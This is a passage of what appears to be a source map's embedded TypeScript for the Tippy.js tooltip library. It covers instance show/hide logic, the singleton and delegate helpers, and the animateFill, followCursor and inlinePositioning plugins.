it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if (instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = !instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n 